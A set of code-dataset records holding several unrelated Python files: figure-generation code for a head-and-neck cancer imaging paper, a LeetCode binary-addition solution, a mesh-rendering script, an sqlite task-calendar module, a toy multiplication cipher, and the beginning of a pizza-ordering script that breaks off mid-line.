statsmodels.stats.multicomp import pairwise_tukeyhsd\n  \n    #get current directory\n    cwd = os.getcwd()\n    \n    #rename xAxis variables to 1P, 1R, etc\n    xDictRename = {'pre':'P','pos':'R'}\n\n    #get mixed/compart designation\n    def map_mix(mix):\n    \n        if mix < 0.107:\n            return 'Compartmentalized'\n        elif mix > 0.107:\n            return 'Mixed'\n\n\n    ##SUPPLEMENTAL FIGURE 2a - ABSOLUTE DIFFERENCE IN MIXING SCORE\n    \n    print('\\nSupplemental Figure 2a')\n\n    #get df of mixing scores\n    dfAll = pd.read_csv(cwd+'/dfCreated/dfMixingScores_all.csv',index_col=0)\n    dfAvg = pd.read_csv(cwd+'/dfCreated/dfMixingScores_avg.csv',index_col=0)\n    \n    #get average of dfAvg - average values per patient (P+R)/2\n    dfAvgCopy = dfAvg.copy()\n    dfAvgCopy.index = dfAvgCopy.index.str.slice(2,3)\n    dfAvgAvg = dfAvgCopy.groupby(['patient']).mean()\n    \n    #get average of primary only and recurrent only \n    dfPrim = dfAll[['pre' in i for i in dfAll.index]]\n    dfPrimAvg = dfPrim.mean()\n    \n    dfRec = dfAll[['pos' in i for i in dfAll.index]]\n    dfRecAvg = dfRec.mean()\n    \n    #get average of cohort\n    dfCohortAvg = dfAvgAvg.mean()\n    \n    #get clinical df with anatomical location to add a column for site on dfAll\n    dfClin = pd.read_csv(cwd+'/data/clinicalData.csv',index_col=0)\n    dfClin.set_index('sample',inplace=True)\n    \n    dfAllCopy = dfAll.copy()\n    dfAllCopy['anatomy'] = dfClin['anatomy']\n    anatDict = dict(zip(dfAllCopy.index, dfAllCopy.anatomy)) #store roi:anatomy pairs for later use\n    \n    #get average of each anatomy region (OC,OP,L)\n    dfOCAvg = dfAllCopy[dfAllCopy['anatomy'] == 'oral cavity'].mean()\n    dfOPAvg = dfAllCopy[dfAllCopy['anatomy'] == 'oropharynx'].mean()\n    dfLAvg = dfAllCopy[dfAllCopy['anatomy'] == 'larynx'].mean()\n    \n    #empty list to store differences\n    entListA = [] #for intra-tumoral, compares to single tumor's average\n    entListB = [] #for intra-patient, compares to single patient's average (P+R)/2\n    entListC = [] #for inter-patient, compares to all primary, or all recurrent depending on which one the region is from\n    entListD = [] #for inter-patient, compares to cohort average across ALL pts and tumors, regardless of P or R\n    entListY = [] #for intra-site, comapres to same anatomic site's average across the cohort\n    \n    #create list of rois (patient samples)\n    ptList = list(dfAll.index)\n    \n    #loop through ROIs\n    for pt in ptList:\n        #get mixing scores for each ROI (per the pt variable)\n        countRoi = dfAll.loc[pt,'mixScore'] \n        \n        #get character(s) to match other df's index column\n        patA = pt[0:6]\n        patB = pt[2]\n        \n        #get mixing scores for each tumor (averaged, use the pat variables)\n        countAvgA = dfAvg.loc[patA,'mixScore']\n        countAvgB = dfAvgAvg.loc[patB,'mixScore']\n        \n        if 'pre' in pt:\n            countAvgC = dfPrimAvg['mixScore']\n            \n        elif 'pos' in pt:\n            countAvgC = dfRecAvg['mixScore']\n        \n        #values for matching anatomic site\n        if anatDict[pt] == 'oral cavity':\n            countAvgY = dfOCAvg['mixScore']\n        elif anatDict[pt] == 'oropharynx':\n            countAvgY = dfOPAvg['mixScore']\n        elif anatDict[pt] == 'larynx':\n            countAvgY = dfLAvg['mixScore']\n    \n        countAvgD = dfCohortAvg['mixScore']\n        \n        #calculate the difference between the region's mixing score and the average mixing score at 5 levels the tumor's, patient's, cohort's average (qk) distribution\n        entA = abs(countRoi-countAvgA) #intra-tumor\n        entB = abs(countRoi-countAvgB) #intra-patient\n        entC = abs(countRoi-countAvgC) #inter-patient (p or r)\n        entD = abs(countRoi-countAvgD) #inter-patient (all)\n        entY = abs(countRoi-countAvgY) #intra-anatomic site\n    \n        #store diffs in list\n        entListA.append(entA)\n        entListB.append(entB)\n        entListC.append(entC)\n        entListD.append(entD)\n        entListY.append(entY)\n        \n    #create new df with diff info stored in one column\n    dfEnt = pd.DataFrame({'Intra-Tumor (P or R only)':entListA,'Intra-Patient (P and R)':entListB,'Inter-Patient (P or R only)':entListC,'Inter-Patient (Same Anatomic Site)':entListY,'Inter-Patient (all)':entListD},index=ptList)\n    \n    #empty list to store x axis labels\n    xAxis = []\n    #rename xAxis variables to 1P, 1R, etc\n    xDictRename = {'pre':'P','pos':'R'}\n    for x in dfEnt.index:\n        xLabel = x[2]+xDictRename[x[3:6]]\n        xAxis.append(xLabel) #add label to list\n    \n    traces = []\n    for col in list(dfEnt.columns):\n        trace = go.Box(x=xAxis,y=dfEnt[col],boxpoints='all',name=col)\n        traces.append(trace)\n    \n    layout = {'xaxis':{'title':'Tumor'},'yaxis':{'title':'Absolute Difference'},'boxmode':'group'}\n    fig = {'data':traces,'layout':layout}\n    \n    pio.write_image(fig,cwd+'/figures/supp2a.png',format='png',scale=2) #saves figure to 'figures' folder as a png file\n    print(\"Supplemental Figure 2a saved to 'figures' folder.\")\n\n    #run ANOVA to see if means are the same or different; p is significant, so not all group means are equal! \n    anP = f_oneway(entListA,entListB,entListC,entListY,entListD)[1]\n    print('One way ANOVA p-value: ',anP) #one way anova\n\n    #if ANOVA is significant, run Tukey post hoc analysis to determine which pairs are significant\n    if anP < 0.05:        \n        dfTukey = pd.DataFrame({'value':entListA+entListB+entListC+entListY+entListD,'label':np.repeat(list(dfEnt.columns),repeats=len(dfEnt))})\n        tukey = pairwise_tukeyhsd(endog=dfTukey['value'],groups=dfTukey['label'],alpha=0.05)\n        print('Tukey HSD Post-Hoc Test: ',tukey)\n\n\n    ##SUPPLEMENTAL FIGURE 2b - PD-1+ CD8+ T CELL BOOTSTRAPPING\n    \n    print('\\nSupplemental Figure 2b')\n\n    #get pd1 counts df\n    df = pd.read_csv(cwd+'/dfCreated/dfPD1PDL1CountsPerc_all.csv', index_col=0)\n    \n    #filter to just cd8s\n    df = df[['A_pd1+']]\n    \n    #read in mix df\n    dfMix = pd.read_csv(cwd+'/dfCreated/dfMixingScores_all.csv', index_col=0)\n    dfMix['spatial'] = dfMix['mixScore'].apply(lambda mix:map_mix(mix))\n    \n    #adjust df to also account for cold ROIs - all ROIs\n    coldList = ['pt2post_roi1','pt9post_roi3'] #this is a pre-defined list based on # of immune cells\n    for roi in coldList:\n            dfMix.loc[roi,'spatial'] = 'Cold'\n    \n    #now add the spatial header into the spatial column to the df\n    df['spatial'] = list(dfMix['spatial'])\n    \n    #empty df to store the bootstrapped data\n    dfRandom = pd.DataFrame()\n    \n    #empty lists to store means of each group\n    mixMeanList = []\n    compMeanList = []\n    \n    #bootstrap through 100 times\n    for i in range(100):\n        \n        for tum in df.index.str.slice(0,6).unique(): #for each of the 18 tumors    \n            #subset df to only include unique tumors\n            dfTumor = df[df.index.str.slice(0,6) == tum]\n    \n            #choose a random roi for that tumor\n            row = np.random.choice(dfTumor.index,size=1)\n    \n            #add the randomly selected row to dfRandom\n            dfRandom = dfRandom.append(dfTumor.loc[row,:])\n    \n        #separate out mixed and compartmentalized based on spatial column\n        dfMixed = dfRandom[['Mixed' in row for row in dfRandom['spatial']]]\n        dfCompart = dfRandom[['Compartmentalized' in row for row in dfRandom['spatial']]]\n    \n        #calculate mean %pd-1+ values for each cell for mixed and compart groups and store in lists - get one mean per 100 bootstraps through each of the 18 tumors\n        mixMeanList.append(dfMixed.mean()[0]*100)\n        compMeanList.append(dfCompart.mean()[0]*100)\n\n    traceC = go.Histogram(x=compMeanList,name='Compartmentalized',nbinsx=100,marker_color='#2CA02C')\n    traceM = go.Histogram(x=mixMeanList,name='Mixed',nbinsx=100,marker_color='#FF7F03')\n    traces = [traceC,traceM]\n    \n    layout = {'xaxis':{'title':'% PD-1+ CD8+ T Cells'},'yaxis':{'title':'Frequency'}}\n    fig = {'data':traces,'layout':layout}\n    pio.write_image(fig,cwd+'/figures/supp2b.png',format='png',scale=2) #saves figure to 'figures' folder as a png file\n    \n    print(\"Supplemental Figure 2b saved to 'figures' folder.\")\n\n\n    ##SUPPLEMENTAL FIGURE 2c - PD-1+ CD4+ T HELPER CELL BOOTSTRAPPING\n    \n    print('\\nSupplemental Figure 2c')\n\n    #get pd1 counts df\n    df = pd.read_csv(cwd+'/dfCreated/dfPD1PDL1CountsPerc_all.csv', index_col=0)\n    \n    #filter to just t helpers\n    df = df[['B_pd1+']]\n    \n    #read in mix df\n    dfMix = pd.read_csv(cwd+'/dfCreated/dfMixingScores_all.csv', index_col=0)\n    dfMix['spatial'] = dfMix['mixScore'].apply(lambda mix:map_mix(mix))\n    \n    #adjust df to also account for cold ROIs - all ROIs\n    coldList = ['pt2post_roi1','pt9post_roi3'] #this is a pre-defined list based on # of immune cells\n    for roi in coldList:\n            dfMix.loc[roi,'spatial'] = 'Cold'\n    \n    #now add the spatial header into the spatial column to the df\n    df['spatial'] = list(dfMix['spatial'])\n    \n    #empty df to store the bootstrapped data\n    dfRandom = pd.DataFrame()\n    \n    #empty lists to store means of each group\n    mixMeanList = []\n    compMeanList = []\n    \n    #bootstrap through 100 times\n    for i in range(100):\n        \n        for tum in df.index.str.slice(0,6).unique(): #for each of the 18 tumors\n    \n            #subset dfPd to only include unique tumors\n            dfTumor = df[df.index.str.slice(0,6) == tum]\n    \n            #choose a random roi for that tumor\n            row = np.random.choice(dfTumor.index,size=1)\n    \n            #add the randomly selected row to dfRandom\n            dfRandom = dfRandom.append(dfTumor.loc[row,:])\n    \n        #separate out mixed and compartmentalized based on spatial column\n        dfMixed = dfRandom[['Mixed' in row for row in dfRandom['spatial']]]\n        dfCompart = dfRandom[['Compartmentalized' in row for row in dfRandom['spatial']]]\n    \n        #calculate mean %pd-1+ values for each cell for mixed and compart groups and store in lists - get one mean per 100 bootstraps through each of the 18 tumors\n        mixMeanList.append(dfMixed.mean()[0]*100)\n        compMeanList.append(dfCompart.mean()[0]*100)\n\n    traceC = go.Histogram(x=compMeanList,name='Compartmentalized',nbinsx=100,marker_color='#2CA02C')\n    traceM = go.Histogram(x=mixMeanList,name='Mixed',nbinsx=100,marker_color='#FF7F03')\n    traces = [traceC,traceM]\n    \n    layout = {'xaxis':{'title':'% PD-1+ CD4+ T Helper Cells'},'yaxis':{'title':'Frequency'}}\n    fig = {'data':traces,'layout':layout}\n    pio.write_image(fig,cwd+'/figures/supp2c.png',format='png',scale=2) #saves figure to 'figures' folder as a png file\n    \n    print(\"Supplemental Figure 2c saved to 'figures' folder.\")\n\n\n    ##SUPPLEMENTAL FIGURE 2d - PD-1+ B CELL BOOTSTRAPPING\n    \n    print('\\nSupplemental Figure 2d')\n\n    #get pd1 counts df\n    df = pd.read_csv(cwd+'/dfCreated/dfPD1PDL1CountsPerc_all.csv', index_col=0)\n    \n    #filter to just b cells\n    df = df[['C_pd1+']]\n    \n    #read in mix df\n    dfMix = pd.read_csv(cwd+'/dfCreated/dfMixingScores_all.csv', index_col=0)\n    dfMix['spatial'] = dfMix['mixScore'].apply(lambda mix:map_mix(mix))\n    \n    #adjust df to also account for cold ROIs - all ROIs\n    coldList = ['pt2post_roi1','pt9post_roi3'] #this is a pre-defined list based on # of immune cells\n    for roi in coldList:\n            dfMix.loc[roi,'spatial'] = 'Cold'\n    \n    #now add the spatial header into the spatial column to the df\n    df['spatial'] = list(dfMix['spatial'])\n    \n    #empty df to store the bootstrapped data\n    dfRandom = pd.DataFrame()\n    \n    #empty lists to store means of each group\n    mixMeanList = []\n    compMeanList = []\n    \n    #bootstrap through 100 times\n    for i in range(100):\n        \n        for tum in df.index.str.slice(0,6).unique(): #for each of the 18 tumors\n    \n            #subset dfPd to only include unique tumors\n            dfTumor = df[df.index.str.slice(0,6) == tum]\n    \n            #choose a random roi for that tumor\n            row = np.random.choice(dfTumor.index,size=1)\n    \n            #add the randomly selected row to dfRandom\n            dfRandom = dfRandom.append(dfTumor.loc[row,:])\n    \n        #separate out mixed and compartmentalized based on spatial column\n        dfMixed = dfRandom[['Mixed' in row for row in dfRandom['spatial']]]\n        dfCompart = dfRandom[['Compartmentalized' in row for row in dfRandom['spatial']]]\n    \n        #calculate mean %pd-1+ values for each cell for mixed and compart groups and store in lists - get one mean per 100 bootstraps through each of the 18 tumors\n        mixMeanList.append(dfMixed.mean()[0]*100)\n        compMeanList.append(dfCompart.mean()[0]*100)\n\n    traceC = go.Histogram(x=compMeanList,name='Compartmentalized',nbinsx=100,marker_color='#2CA02C')\n    traceM = go.Histogram(x=mixMeanList,name='Mixed',nbinsx=100,marker_color='#FF7F03')\n    traces = [traceC,traceM]\n    \n    layout = {'xaxis':{'title':'% PD-1+ B Cells'},'yaxis':{'title':'Frequency'}}\n    fig = {'data':traces,'layout':layout}\n    pio.write_image(fig,cwd+'/figures/supp2d.png',format='png',scale=2) #saves figure to 'figures' folder as a png file\n    print(\"Supplemental Figure 2d saved to 'figures' folder.\")\n\n\n    ##SUPPLEMENTAL FIGURE 2e - Ki-67+ APC BOOTSTRAPPING\n    \n    print('\\nSupplemental Figure 2e')\n\n    #get ki67 counts df\n    df = pd.read_csv(cwd+'/dfCreated/dfKI67CountsPerc_all.csv', index_col=0)\n    \n    #filter to just apcs\n    df = df[['X_ki67+']]\n    \n    #read in mix df\n    dfMix = pd.read_csv(cwd+'/dfCreated/dfMixingScores_all.csv', index_col=0)\n    dfMix['spatial'] = dfMix['mixScore'].apply(lambda mix:map_mix(mix))\n    \n    #adjust df to also account for cold ROIs - all ROIs\n    coldList = ['pt2post_roi1','pt9post_roi3'] #this is a pre-defined list based on # of immune cells\n    for roi in coldList:\n            dfMix.loc[roi,'spatial'] = 'Cold'\n    \n    #now add the spatial header into the spatial column to the df\n    df['spatial'] = list(dfMix['spatial'])\n    \n    #empty df to store the bootstrapped data\n    dfRandom = pd.DataFrame()\n    \n    #empty lists to store means of each group\n    mixMeanList = []\n    compMeanList = []\n    \n    #bootstrap through 100 times\n    for i in range(100):\n        \n        for tum in df.index.str.slice(0,6).unique(): #for each of the 18 tumors\n    \n            #subset dfPd to only include unique tumors\n            dfTumor = df[df.index.str.slice(0,6) == tum]\n    \n            #choose a random roi for that tumor\n            row = np.random.choice(dfTumor.index,size=1)\n    \n            #add the randomly selected row to dfRandom\n            dfRandom = dfRandom.append(dfTumor.loc[row,:])\n    \n        #separate out mixed and compartmentalized based on spatial column\n        dfMixed = dfRandom[['Mixed' in row for row in dfRandom['spatial']]]\n        dfCompart = dfRandom[['Compartmentalized' in row for row in dfRandom['spatial']]]\n    \n        #calculate mean %ki-67+ values for each cell for mixed and compart groups and store in lists - get one mean per 100 bootstraps through each of the 18 tumors\n        mixMeanList.append(dfMixed.mean()[0]*100)\n        compMeanList.append(dfCompart.mean()[0]*100)\n\n    traceC = go.Histogram(x=compMeanList,name='Compartmentalized',nbinsx=100,marker_color='#2CA02C')\n    traceM = go.Histogram(x=mixMeanList,name='Mixed',nbinsx=100,marker_color='#FF7F03')\n    traces = [traceC,traceM]\n    \n    layout = {'xaxis':{'title':'% Ki-67+ APCs'},'yaxis':{'title':'Frequency'}}\n    fig = {'data':traces,'layout':layout}\n    pio.write_image(fig,cwd+'/figures/supp2e.png',format='png',scale=2) #saves figure to 'figures' folder as a png file\n    print(\"Supplemental Figure 2e saved to 'figures' folder.\")\n\n\n\ndef supp3():\n    \n    '''\n    This function creates supplemental figures 3b-3f.\n    All subplots are saved to the 'figures' folder.\n    \n    Note: This function assumes all neighborhood clustering functions have been run (this happens in fig4() function).\n    \n    Input parameters:\n        None\n        \n    Outputs:\n        Saves plots to 'figures' folder for figures 3b-3f\n    '''\n  \n    import pandas as pd\n    import plotly.graph_objs as go\n    import plotly.io as pio\n    import os  \n    \n    #get current directory\n    cwd = os.getcwd()\n    \n    #rename xAxis variables to 1P, 1R, etc\n    xDictRename = {'pre':'P','pos':'R'}\n\n    #get mixed/compart designation\n    def map_mix(mix):\n    \n        if mix < 0.107:\n            return 'Compartmentalized'\n        elif mix > 0.107:\n            return 'Mixed'\n\n    colDict = {'clust0PercList':'1','clust1PercList':'2','clust2PercList':'3','clust3PercList':'4','clust4PercList':'5','clust5PercList':'6','clust6PercList':'7'}\n\n\n    ##SUPPLEMENTAL FIGURE 3b - ASMA CLUSTER PRESENCE ACROSS TUMOR REGIONS\n    \n    print('\\nSupplemental Figure 3b')\n\n    #read csv\n    df = pd.read_csv(cwd+'/dfCreated/dfClustCountsN60k7_all.csv', index_col=0)\n    df = df[df.columns[['Perc' in col for col in list(df.columns)]]]\n    \n    xAxis = list(df.index)\n    traces = []\n    \n    for col in list(df.columns):\n        trace = go.Bar(x=xAxis,y=df[col],name=colDict[col])\n        traces.append(trace)\n    \n    layout = {'xaxis':{'title':'Tumor Region'},'yaxis':{'title':'Fraction Present'},'barmode':'stack'}\n    fig = {'data':traces,'layout':layout}\n    pio.write_image(fig,cwd+'/figures/supp3b.png',format='png',scale=2) #saves figure to 'figures' folder as a png file\n    \n    print(\"Supplemental Figure 3b saved to 'figures' folder.\")\n\n\n    ##SUPPLEMENTAL FIGURE 3c - ASMA CLUSTER PRESENCE ACROSS TUMORS\n    \n    print('\\nSupplemental Figure 3c')\n    \n    #get df from saved csv\n    df = pd.read_csv(cwd+'/dfCreated/dfClustCountsN60k7_avg.csv', index_col=0)\n    df = df[df.columns[['Perc' in col for col in list(df.columns)]]]\n    \n    #rename index for swapping P/Rs in chronological order\n    xDictRename = {'pre':'A','pos':'B'}\n    xAxis = []\n    \n    #rename xAxis variables to 1P, 1R, etc    \n    for x in df.index:\n        xLabel = x[2]+xDictRename[x[3:6]]\n        xAxis.append(xLabel) #add label to list\n    df.index = xAxis\n    df = df.sort_index()\n    \n    #rename index to get P/R\n    xDictRename = {'A':'P','B':'R'}\n    xAxis2 = []\n    \n    #rename xAxis variables to 1P, 1R, etc    \n    for x in df.index:\n        xLabel = x[0]+xDictRename[x[1]]\n        xAxis2.append(xLabel) #add label to list\n    \n    traces = []\n    for col in list(df.columns):\n        trace = go.Bar(x=xAxis2,y=df[col],name=colDict[col])\n        traces.append(trace)\n    \n    layout = {'xaxis':{'title':'Tumor'},'yaxis':{'title':'Fraction Present'},'barmode':'stack'}\n    fig = {'data':traces,'layout':layout}\n\n    pio.write_image(fig,cwd+'/figures/supp3c.png',format='png',scale=2) #saves figure to 'figures' folder as a png file\n    \n    print(\"Supplemental Figure 3c saved to 'figures' folder.\")\n\n\n    ##SUPPLEMENTAL FIGURE 3d - ASMA CLUSTER PRESENCE ACROSS PATIENTS\n    \n    print('\\nSupplemental Figure 3d')\n\n    #get df from saved csv\n    df = pd.read_csv(cwd+'/dfCreated/dfClustCountsN60k7_avg.csv', index_col=0)\n    df = df[df.columns[['Perc' in col for col in list(df.columns)]]]\n\n    df.index = df.index.str.slice(2,3)\n    dfPercPt = df.groupby(['patient']).mean()\n       \n    xAxis = list(dfPercPt.index)\n    traces = []\n    \n    for col in list(dfPercPt.columns):\n        trace = go.Bar(x=xAxis,y=dfPercPt[col],name=colDict[col])\n        traces.append(trace)\n    \n    layout = {'xaxis':{'title':'Patient'},'yaxis':{'title':'Fraction Present'},'barmode':'stack'}\n    fig = {'data':traces,'layout':layout}\n    pio.write_image(fig,cwd+'/figures/supp3d.png',format='png',scale=2) #saves figure to 'figures' folder as a png file\n    \n    print(\"Supplemental Figure 3d saved to 'figures' folder.\")\n\n\n    ##SUPPLEMENTAL FIGURE 3e - ASMA CLUSTER PRESENCE ACROSS ANATOMIC SITE\n    \n    print('\\nSupplemental Figure 3e')\n\n    #get df from saved csv\n    df = pd.read_csv(cwd+'/dfCreated/dfClustCountsN60k7_all.csv', index_col=0)\n    df = df[['pre' in row for row in df.index]]\n    \n    #generate column list to cluster on based on if there is a % in the column name\n    df = df[df.columns[['Perc' in col for col in list(df.columns)]]]\n    \n    #get clinical csv with stage, anatomic site\n    dfClin = pd.read_csv('/Users/blise/Documents/Research/HTAN project/data/grace4/clinicalData.csv',index_col=0)\n    dfClin.set_index('sample',inplace=True)\n    df['anatomy'] = dfClin.anatomy\n    \n    #groupby anatomy\n    dfPercAnat = df.groupby(['anatomy']).mean()\n    dfPercAnat = dfPercAnat.reindex(['oral cavity','oropharynx','larynx']) #set order\n    \n    #plot\n    xAxis = list(dfPercAnat.index)\n    traces = []\n    \n    for col in list(dfPercAnat.columns):\n        trace = go.Bar(x=xAxis,y=dfPercAnat[col],name=colDict[col])\n        traces.append(trace)\n    \n    layout = {'xaxis':{'title':'Anatomic Site'},'yaxis':{'title':'Fraction Present'},'barmode':'stack'}\n    fig = {'data':traces,'layout':layout}\n    pio.write_image(fig,cwd+'/figures/supp3e.png',format='png',scale=2) #saves figure to 'figures' folder as a png file\n    \n    print(\"Supplemental Figure 3e saved to 'figures' folder.\")\n   \n\n    ##SUPPLEMENTAL FIGURE 3f - ASMA CLUSTER PRESENCE ACROSS TNM STAGE\n    \n    print('\\nSupplemental Figure 3f')\n\n    #get df from saved csv\n    df = pd.read_csv(cwd+'/dfCreated/dfClustCountsN60k7_all.csv', index_col=0)\n    df = df[['pre' in row for row in df.index]]\n    \n    #generate column list to cluster on based on if there is a % in the column name\n    df = df[df.columns[['Perc' in col for col in list(df.columns)]]]\n    \n    #get clinical csv with stage, anatomic site\n    dfClin = pd.read_csv('/Users/blise/Documents/Research/HTAN project/data/grace4/clinicalData.csv',index_col=0)\n    dfClin.set_index('sample',inplace=True)\n    df['tnm'] = dfClin.tnm.astype(str)\n    \n    #groupby tnm\n    dfPercTnm = df.groupby(['tnm']).mean()\n    \n    #plot\n    xAxis = list(dfPercTnm.index)\n    traces = []\n    \n    for col in list(dfPercTnm.columns):\n        trace = go.Bar(x=xAxis,y=dfPercTnm[col],name=colDict[col])\n        traces.append(trace)\n    \n    layout = {'xaxis':{'title':'Anatomic Site'},'yaxis':{'title':'Fraction Present'},'barmode':'stack'}\n    fig = {'data':traces,'layout':layout}\n    \n    pio.write_image(fig,cwd+'/figures/supp3f.png',format='png',scale=2) #saves figure to 'figures' folder as a png file\n    print(\"Supplemental Figure 3f saved to 'figures' folder.\")\n \n\n\nif __name__==\"__main__\":\n    fig1()\n    fig2()\n    fig3()\n    fig4()\n    table3()\n    supp1()\n    supp2()\n    supp3() ","repo_name":"kblise/HNSCC_mIHC_paper","sub_path":"hnsccMakeFigures.py","file_name":"hnsccMakeFigures.py","file_ext":"py","file_size_in_byte":138609,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"35829990954","text":"# Given two binary strings, return their sum (also a binary string).\n#\n# The input strings are both non-empty and contains only characters 1 or 0.\n#\n# Example 1:\n#\n# Input: a = \"11\", b = \"1\"\n# Output: \"100\"\n# Example 2:\n#\n# Input: a = \"1010\", b = \"1011\"\n# Output: \"10101\"\n\nclass Solution(object):\n    def addBinary(self, a, b):\n        \"\"\"\n        :type a: str\n        :type b: str\n        :rtype: str\n        \"\"\"\n        num_1=0\n        num_2=0\n        exp_1=0\n        exp_2=0\n        for i in a[::-1]:\n            num_1+=int(i)*2**exp_1\n            exp_1+=1\n        for j in b[::-1]:\n            num_2+=int(j)*2**exp_2\n            exp_2+=1\n        fin=num_1+num_2\n        res=\"\"\n        while fin>0:\n            mod=fin%2\n            fin=int(fin/2)\n            res+=str(mod)\n\n        return res\na=\"1010\"\nb=\"1011\"\ns=Solution()\nprint(s.addBinary(a,b))\n","repo_name":"KamyC/LeetCode","sub_path":"67_Add Binary.py","file_name":"67_Add Binary.py","file_ext":"py","file_size_in_byte":852,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"34519794101","text":"\"\"\"\nCreates images for TiledMesh documentation.\npython pattern_mesh.py\n\"\"\"\nimport vtk\nimport chigger\n\nname = 'patterned_mesh_in'\n\nreader = chigger.exodus.ExodusReader('{}.e'.format(name))\nresult = chigger.exodus.ExodusResult(reader, camera=None, color=[0.15,0,0.8], edges=True, edge_color=[0,0,0])\n\nextents = chigger.misc.VolumeAxes(result)\nextents.setOptions('xaxis', color=[0, 0, 0], minor_ticks=True)\nextents.setOptions('yaxis', color=[0, 0, 0], minor_ticks=True)\nextents.setOptions('zaxis', color=[0, 0, 0], minor_ticks=True)\n\nwindow = chigger.RenderWindow(result, extents, antialiasing=5)\nwindow.setOptions(size=[600,600], background=[0.7058823529411765, 0.7058823529411765, 0.7058823529411765], background2=[0.43529411764705883, 0.43529411764705883, 0.43529411764705883], gradient_background=True)\nwindow.update()\nwindow.resetCamera()\nwindow.write('{}.png'.format(name))\n","repo_name":"mazajump/FEA-PhaseField-Moose","sub_path":"test/tests/mesh/patterned_mesh/pattern_mesh.py","file_name":"pattern_mesh.py","file_ext":"py","file_size_in_byte":877,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"}
+{"seq_id":"25089689824","text":"import os.path as Path\nimport sqlite3\n\n\nSQL_SELECT_ALL = \"\"\"\n    SELECT\n        id, task, status, created\n    FROM\n        calendar\n\"\"\"\n\nSQL_SELECT_TASK_BY_PK = SQL_SELECT_ALL + \" WHERE id=?\"\n\nSQL_SELECT_TASK_BY_STATUS = SQL_SELECT_ALL + \" WHERE status=?\"\n\nSQL_SELECT_TASK_BY_TASK =  SQL_SELECT_ALL + \" WHERE task=?\"\n\nSQL_INSERT_TASK = \"\"\"\n    INSERT INTO calendar (task)  VALUES (?)\n\"\"\"\n\nSQL_UPDATE_TASK = \"\"\"\n    UPDATE calendar SET task=? WHERE id=?\n\"\"\"\n\nSQL_UPDATE_STATUS = \"\"\"\n    UPDATE calendar SET status=? WHERE id=?\n\"\"\"\n\n\ndef dict_factory(cursor, row):\n    d = {}\n    for idx, col in enumerate(cursor.description):\n        d[col[0]] = row[idx]\n    return d\n\n\ndef connect(db_name=None):\n    if db_name is None:\n        db_name = ':memory:'\n\n    conn = sqlite3.connect(db_name)\n    conn.row_factory = dict_factory\n\n    return conn\n\n\ndef initialize(conn, creation_schema):\n    with conn, open(creation_schema) as f:\n        conn.executescript(f.read())\n\ndef find_all_tasks(conn):\n    \"\"\"Возвращает все задачи из базы\"\"\"\n    with conn:\n        cursor = conn.execute(SQL_SELECT_ALL)\n        return cursor.fetchall()\n\n\ndef add_task(conn, task, domain=''):\n    \"\"\"сохраняет новую задачу\"\"\"\n    with conn:\n        cursor = conn.execute(SQL_INSERT_TASK, (task, ))\n\n\ndef edit_task(conn, task, pk):\n    \"\"\"Редактирует задачу\"\"\"\n    with conn:\n        cursor = conn.execute(SQL_UPDATE_TASK, (task, pk))\n\n\ndef edit_status(conn, status, pk):\n    \"\"\"Редактирует статус задачи\"\"\"\n    with conn:\n        cursor = conn.execute(SQL_UPDATE_STATUS, (status, pk))\n\n\ndef find_task_by_pk(conn, pk):\n    \"\"\"Возвращает задачу по первичному ключу\"\"\"\n    with conn:\n        cursor = conn.execute(SQL_SELECT_TASK_BY_PK, (pk, ))\n        return cursor.fetchone()\n","repo_name":"Nafani4/Home_work","sub_path":"Calendar/calendar_modules/storage.py","file_name":"storage.py","file_ext":"py","file_size_in_byte":1860,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"40826926976","text":"\"\"\"\nMultiplication cipher\nThis cipher multiplies the key with (ord(letter) - 32),\nmeaning it is 0-indexed, starting at space.\n\"\"\"\n\n\nimport random\nimport math\nfrom crypto_utils import modular_inverse\n\nclass Multiplication:\n    \"\"\" Multiplication cipher \"\"\"\n    def __init__(self):\n        self._max_signs = 95\n        self._starting_sign = 32\n\n    def generate_keys(self):\n        \"\"\" Generates encryption and decryption key \"\"\"\n        encryption_key = None\n\n        # Generate a random encryption key:\n        while True:\n            candidate = random.randint(2, self._max_signs)\n            if math.gcd(candidate, self._max_signs) == 1:\n                encryption_key = candidate\n                break\n\n        # Find the decryption key for the given encryption key\n        decryption_key = modular_inverse(encryption_key, self._max_signs)\n\n        # Printing for verification of keys:\n        print(\"Encryption key: \" + str(encryption_key))\n        print(\"Decryption key: \" + str(decryption_key))\n        mod_value = encryption_key * decryption_key % self._max_signs\n        print(\"Verify inversion: %s * %s mod %s = %s \" %\n              (encryption_key, decryption_key, self._max_signs, mod_value))\n\n        return encryption_key, decryption_key\n\n    def encode(self, message, key):\n        \"\"\" Encode message with given key \"\"\"\n        new_word = \"\"\n        for symbol in message:\n            new_word += chr(self._starting_sign\n                            + ((ord(symbol) - self._starting_sign) * key)\n                            % self._max_signs)\n        return new_word\n\n    def decode(self, encoded_message, decryption_key):\n        \"\"\" Decode the encoded message with the decryption key \"\"\"\n        return self.encode(encoded_message, decryption_key)\n","repo_name":"nima-hakimi/TDT4113","sub_path":"Project3/multiplication.py","file_name":"multiplication.py","file_ext":"py","file_size_in_byte":1763,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"43086803958","text":"inputDataSets = [\"../a_example.in\", \"../b_small.in\",\n                 \"../c_medium.in\", \"../d_quite_big.in\",\n                 \"../e_also_big.in\"]\n\ndef main():\n    for j, i in enumerate(inputDataSets):\n        orderPizzas(i);\n\ndef orderPizzas(inputFileName):\n\n    # List of all lines of pizzas\n    allPizzas = []\n    result = []\n    linesOfPizza = 0\n\n    with open(inputFileName) as inputSet:\n        currentPizzas = inputSet.readline()[:-1].split(\" \")\n\n        # create list of pizzas out of all lines\n        while (currentPizzas[0]):\n            linesOfPizza += 1\n            allPizzas.append(currentPizzas)\n            currentPizzas = inputSet.readline()[:-1].split(\" \")\n\n\n    maximumTotalPizzas = int(allPizzas[0][0])\n    typesOfPizzas = int(allPizzas[0][1])\n    pizzaSum = 0\n\n    # loop through all lines of pizzas from the last line\n    for i in range(linesOfPizza - 1, 0, -1):\n        currentLine = allPizzas[i]\n\n        # check each pizza on line\n        for j in range(len(currentLine) - 1, -1, -1):\n            currentPizza = int(currentLine[j])\n\n            # make sure result is less than total pizzas\n            if 